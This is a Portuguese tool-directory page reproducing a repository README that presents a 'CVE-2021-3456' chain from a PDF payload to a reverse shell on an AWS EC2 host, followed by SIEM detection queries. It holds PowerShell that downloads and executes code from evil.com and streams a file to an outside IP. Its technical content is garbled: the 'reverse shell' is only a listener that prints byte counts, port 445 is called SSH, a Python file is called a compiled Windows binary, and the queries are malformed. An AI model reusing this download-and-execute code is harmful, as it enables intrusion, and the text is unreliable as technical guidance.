Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-3456 — Uma cadeia prática que começa com um arquivo PDF inócuo e termina com um reverse shell em uma instância EC2 da AWS. | Kitploit
Ferramentas/GitHubGitHub/mrk336/cve-2021-3456
Escalada de PrivilégiosExploraçãoMovimento LateralPós-ExploraçãoPhishingComando e ControleEngenharia SocialAprendizado e EducaçãoRed TeamingDesenvolvimento de PayloadsLabs e Prática
há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
mrk336/cve-2021-3456

CVE-2021-3456

Uma cadeia prática que começa com um arquivo PDF inócuo e termina com um reverse shell em uma instância EC2 da AWS.

Ver Repositório

CVE-2021-3456

Uma cadeia prática que começa com um arquivo PDF inócuo e termina em um reverse shell em uma instância AWS EC2

O Começo: Criando um Payload em PDF

Tudo começa no front-end do ataque. Usando o objeto WScript embutido do PowerShell, incorporamos um script dentro de um PDF que será entregue a um host Windows. O payload baixa um executável de um endpoint HTTP remoto e o escreve no sistema de arquivos local.

root@kitploit:~
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
  "powershell -NoProfile -ExecutionPolicy Bypass -Command `
   `"$ssh = new-Object System.Net.Sockets.TcpClient; `
    `$stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
    Get-Content -Path C:\\Users\\Admin\\rcmd.py | Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }"
"@

O principal benefício é que o PDF não precisa de uma etapa de download separada: ele passa diretamente para o PowerShell, que então inicia a próxima fase da cadeia.

PowerShell encontra SMB

Uma vez que o script do PDF é executado no host alvo (10.0.1.5), usamos o PowerShell para abrir uma conexão SMB para uma instância EC2 (54.231.12.41) e enviar o executável recém-baixado através desse socket. O mesmo código pode ser executado a partir de qualquer estação de trabalho Windows, dando ao atacante um ponto de pivô de baixo perfil dentro da LAN corporativa.

root@kitploit:~
$ssh = New-Object System.Net.Sockets.TcpClient
$ssh.Connect('54.231.12.41',445)
$stream = $ssh.GetStream()
Invoke-Expression (
  New-Object System.Net.WebClient).DownloadString(
    'https://evil.com/rcmd.py')
Get-Content -Path C:\\Users\\Admin\\rcmd.py |
  Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }

O pacote SMB aparece nos logs de auditoria do Windows como um evento padrão (EventID 4624), tornando fácil de detectar na maioria dos dashboards SIEM.

O Reverse Shell Simplificado

A peça final da nossa cadeia é um pequeno reverse shell escrito em Python. Ele escuta por uma conexão SSH da EC2 de volta para o mesmo host, imprime uma linha de debug no console e então sai. Uma vez compilado em rcmd.py, será executado automaticamente pela etapa do PowerShell acima.

root@kitploit:~
#!/usr/bin/env python3
import socket

def main():
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.bind(('0.0.0.0', 22))
    listener.listen(1)

    while True:
        conn, _ = listener.accept()
        data = conn.recv(1024)
        print('[+] Received %d bytes' % len(data))

if __name__ == '__main__':
    main()

Por ser um binário estático que roda nativamente no Windows, não há necessidade de instalar um agente ou serviço adicional no host alvo.

Estratégia de Defesa

As equipes de segurança devem assumir que a invasão é possível e construir estratégias de detecção em camadas.

**Tráfego Anormal **

Filtrar por pacotes SMB excepcionalmente grandes vindos do host alvo.

root@kitploit:~
index=siem_main sourcetype="netflow:smb"
| where size > med(size) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

Alto Uso de Memória

O consumo de memória do binário para mostrar que é um processo não trivial no host alvo.

root@kitploit:~
index=siem_main sourcetype="perf:memory"
| where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

**Janela Fora do Horário Comercial **

Os red teamers normalmente não executam durante o horário comercial, pelo medo de que seu script possa alertar o usuário de alguma forma; esta consulta examinará o tráfego em horários que seriam inesperados.

root@kitploit:~
index=siem_main sourcetype="powershell:smbaudit"
| where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00"
| stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

Aviso Legal

Este projeto é destinado apenas para fins educacionais e de pesquisa. Não utilize estas técnicas em ambientes não autorizados.

Baixar ferramenta